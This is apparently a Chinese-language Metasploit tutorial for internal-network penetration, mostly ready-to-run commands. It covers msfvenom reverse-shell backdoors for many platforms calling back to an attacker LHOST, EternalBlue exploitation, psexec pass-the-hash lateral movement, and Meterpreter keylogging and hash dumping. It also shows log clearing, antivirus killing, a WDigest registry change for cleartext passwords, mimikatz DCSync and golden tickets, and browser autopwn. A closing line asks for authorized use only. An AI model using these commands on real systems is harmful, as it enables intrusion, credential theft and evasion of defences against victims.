内网MSF--从入门到熟练
字数 585 2025-08-18 11:36:57

Metasploit Framework (MSF) 从入门到精通指南

一、MSF基础介绍

Metasploit Framework (简称MSF) 是全球最受欢迎的渗透测试框架,其强大之处在于:

  • 漏洞利用框架,允许开发自己的漏洞脚本
  • 包含大量现成的渗透攻击模块
  • 提供后渗透测试工具集
  • 支持多平台攻击载荷生成

二、MSF基础配置与命令

1. 启动与数据库配置

# 启动MSF控制台
msfconsole

# 数据库配置
service postgresql start  # 启动数据库
msfdb init               # 初始化数据库
msfconsole db_status     # 查看连接状态
msfconsole db_rebuild_cache # 建立数据库缓存

# 若连接问题
msfdb start             # 启动数据库服务
netstat -pantu | grep 5432 # 查看端口

2. 常用基础命令

show exploits      # 查看所有渗透攻击模块
show auxiliary     # 查看所有辅助模块
show options       # 查看模块选项
show payloads      # 查看适用载荷
show targets       # 查看适用目标类型
search <关键词>    # 搜索模块
info <模块名>      # 显示模块详细信息
use <模块名>       # 使用模块
back               # 返回上级

# 参数设置
set <参数> <值>    # 设置模块参数
setg <参数> <值>   # 设置全局参数
unset/unsetg       # 取消设置
save               # 保存当前设置

3. 核心命令

sessions          # 管理会话
color             # 切换颜色
connect           # 连接主机
exit/quit         # 退出控制台
sleep             # 暂停执行
get/getg          # 获取变量值
spool             # 记录控制台输出
threads           # 管理后台线程
history           # 查看命令历史
load              # 加载插件
unload            # 卸载插件
version           # 显示版本
route             # 路由流量

三、MSFVenom载荷生成

1. 主要参数

-p <payload>      # 指定payload
-e <编码器>       # 指定编码器(用于免杀)
-i <次数>         # 编码迭代次数
-b <坏字符>       # 去掉坏字符
LHOST/LPORT       # 监听IP和端口
-f <格式>         # 输出格式(exe,elf等)
-o <文件名>       # 输出文件
-l                # 列出可用payload

2. 生成各类后门示例

# Linux
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=<IP> LPORT=<Port> -f elf > shell.elf

# Windows
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<IP> LPORT=<Port> -f exe > shell.exe

# Mac
msfvenom -p osx/x86/shell_reverse_tcp LHOST=<IP> LPORT=<Port> -f macho > shell.macho

# Web相关
msfvenom -p php/meterpreter_reverse_tcp LHOST=<IP> LPORT=<Port> -f raw > shell.php
msfvenom -p java/jsp_shell_reverse_tcp LHOST=<IP> LPORT=<Port> -f war > shell.war
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<IP> LPORT=<Port> -f asp > shell.asp

# 脚本类
msfvenom -p cmd/unix/reverse_python LHOST=<IP> LPORT=<Port> -f raw > shell.py
msfvenom -p cmd/unix/reverse_bash LHOST=<IP> LPORT=<Port> -f raw > shell.sh
msfvenom -p cmd/unix/reverse_perl LHOST=<IP> LPORT=<Port> -f raw > shell.pl

3. 设置监听

use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_tcp
show options
set LHOST <IP>
set LPORT <Port>
set ExitOnSession false  # 保持连接
exploit  # 开始监听

4. 会话管理

jobs            # 查看后台任务
kill <id>       # 停止任务
sessions -l     # 查看会话
sessions <id>   # 选择会话
sessions -k <id> # 结束会话
background      # 会话放到后台
Ctrl+z          # 后台当前会话
Ctrl+c          # 结束当前会话

四、Meterpreter后渗透

1. 常用命令

help            # 帮助菜单
background      # 后台当前会话
exit            # 退出会话
irb             # 进入Ruby脚本模式
migrate <PID>   # 迁移到其他进程
sysinfo         # 系统信息
getuid          # 当前用户权限
getsystem       # 提权到SYSTEM

2. 文件系统操作

cat <文件>      # 查看文件
cd              # 切换目录
del/rm          # 删除文件
download <远程> <本地> # 下载文件
upload <本地> <远程> # 上传文件
edit            # 编辑文件(Vim)
getlwd/lpwd     # 本地工作目录
getwd/pwd       # 远程工作目录
lcd             # 切换本地目录
ls              # 列出文件
mkdir           # 创建目录
rmdir           # 删除目录
search          # 搜索文件

3. 网络操作

ipconfig       # 网络配置信息
portfwd        # 端口转发
route          # 路由表操作

4. 系统操作

clearev        # 清除日志
execute        # 执行命令
getpid         # 当前进程ID
kill <PID>     # 终止进程
ps             # 进程列表
reboot         # 重启系统
reg            # 注册表操作
shutdown       # 关闭系统
shell          # 获取系统shell

5. 用户界面操作

enumdesktops   # 列出可用桌面
getdesktop     # 获取当前桌面
screenshot     # 屏幕截图
keyscan_start  # 键盘记录开始
keyscan_stop   # 键盘记录停止
keyscan_dump   # 导出键盘记录
uictl          # 用户界面控制

6. 密码相关

hashdump       # 导出密码哈希
run post/windows/gather/smart_hashdump # 智能导出哈希
load kiwi      # 加载mimikatz功能
creds_all      # 获取所有凭据

五、内网渗透实战

1. 永恒之蓝(MS17-010)攻击

use exploit/windows/smb/ms17_010_eternalblue
set payload windows/x64/meterpreter/reverse_tcp
set RHOSTS <目标IP>
exploit

2. 密码哈希抓取与利用

# 抓取哈希
hashdump
run post/windows/gather/smart_hashdump

# 使用psexec横向移动
use exploit/windows/smb/psexec
set SMBUser Administrator
set SMBPass <哈希>
set payload windows/meterpreter/reverse_tcp
set RHOSTS <目标IP>
exploit

3. 远程桌面控制

# 开启RDP
run post/windows/manage/enable_rdp
run getgui -e

# 添加用户
run getgui -u <用户名> -p <密码>

# 端口转发(若3389被拦截)
portfwd add -l <本地端口> -p 3389 -r <目标IP>
rdesktop 127.0.0.1:<本地端口>

4. 内网路由与代理

# 获取内网网段
run get_local_subnets

# 添加路由
run autoroute -s <内网网段>/24
route add <内网网段> <掩码> <会话ID>
run autoroute -p

# 设置socks代理
use auxiliary/server/socks_proxy
set SRVHOST 0.0.0.0
set SRVPORT <端口>
run

# 配置proxychains
编辑/etc/proxychains.conf
添加 socks5 <IP> <端口>

六、自动化攻击

1. 安装db_autopwn

cd /usr/share/metasploit-framework/plugins
git clone https://github.com/hahwul/metasploit-db_autopwn.git
cd metasploit-db_autopwn/
mv db_autopwn.rb /usr/share/metasploit-framework/plugins/
load db_autopwn

2. 浏览器自动化攻击

use auxiliary/server/browser_autopwn
set LHOST <IP>
set SRVPORT <端口>
set URIPATH /
exploit

七、域渗透技术

1. 域信息收集

run post/windows/gather/enum_logged_on_users  # 登录用户
run post/windows/gather/enum_ad_groups        # 组信息
run post/windows/gather/enum_domain           # 定位域控
run post/windows/gather/enum_ad_computers     # 域内机器
run post/windows/gather/enum_patches          # 补丁信息
run post/multi/recon/local_exploit_suggester  # 漏洞识别

2. Kerberos用户名枚举

use auxiliary/gather/kerberos_enumusers
set DOMAIN <域名>
set RHOSTS <域控IP>
set USER_FILE <用户名字典>
exploit

八、实用模块

1. 扫描模块

auxiliary/scanner/discovery/arp_sweep       # ARP扫描
auxiliary/scanner/portscan/tcp              # TCP端口扫描
auxiliary/scanner/smb/smb_version           # SMB服务识别
auxiliary/scanner/ssh/ssh_version           # SSH服务识别
auxiliary/scanner/mssql/mssql_schemadump    # MSSQL识别
auxiliary/scanner/rdp/rdp_scanner           # RDP服务识别

2. 后渗透模块

post/windows/manage/migrate          # 进程迁移
post/windows/gather/checkvm         # 检测虚拟机
post/windows/manage/killav          # 关闭杀毒软件
post/windows/gather/enum_applications # 应用程序枚举
post/windows/gather/credentials/windows_autologin # 自动登录凭证
post/windows/gather/enum_domain_tokens # 域token查找

九、高级技巧

1. Mimikatz集成(Kiwi模块)

load kiwi
kiwi_cmd <mimikatz命令>  # 执行mimikatz命令
lsa_dump_sam            # dump SAM
lsa_dump_secrets        # dump LSA secrets
dcsync                  # 通过DCSync获取账户信息
golden_ticket_create    # 创建黄金票据

2. 获取明文密码技巧

# 修改注册表允许明文缓存
reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f

# 需要用户重新登录后
load kiwi
creds_all

3. 跨路由访问

# 获取内网网段
run get_local_subnets

# 添加路由
run autoroute -s <内网网段>/24
route add <网段> <掩码> <会话ID>

# 设置socks代理
use auxiliary/server/socks_proxy
set SRVHOST 0.0.0.0
set SRVPORT <端口>
run

# 使用proxychains访问内网
proxychains nmap -p- -sT <内网IP>

通过掌握以上MSF技术,您将能够进行从初始入侵到内网横向移动的完整渗透测试流程。请务必在合法授权范围内使用这些技术。

Metasploit Framework (MSF) 从入门到精通指南 一、MSF基础介绍 Metasploit Framework (简称MSF) 是全球最受欢迎的渗透测试框架,其强大之处在于: 漏洞利用框架,允许开发自己的漏洞脚本 包含大量现成的渗透攻击模块 提供后渗透测试工具集 支持多平台攻击载荷生成 二、MSF基础配置与命令 1. 启动与数据库配置 2. 常用基础命令 3. 核心命令 三、MSFVenom载荷生成 1. 主要参数 2. 生成各类后门示例 3. 设置监听 4. 会话管理 四、Meterpreter后渗透 1. 常用命令 2. 文件系统操作 3. 网络操作 4. 系统操作 5. 用户界面操作 6. 密码相关 五、内网渗透实战 1. 永恒之蓝(MS17-010)攻击 2. 密码哈希抓取与利用 3. 远程桌面控制 4. 内网路由与代理 六、自动化攻击 1. 安装db_ autopwn 2. 浏览器自动化攻击 七、域渗透技术 1. 域信息收集 2. Kerberos用户名枚举 八、实用模块 1. 扫描模块 2. 后渗透模块 九、高级技巧 1. Mimikatz集成(Kiwi模块) 2. 获取明文密码技巧 3. 跨路由访问 通过掌握以上MSF技术,您将能够进行从初始入侵到内网横向移动的完整渗透测试流程。请务必在合法授权范围内使用这些技术。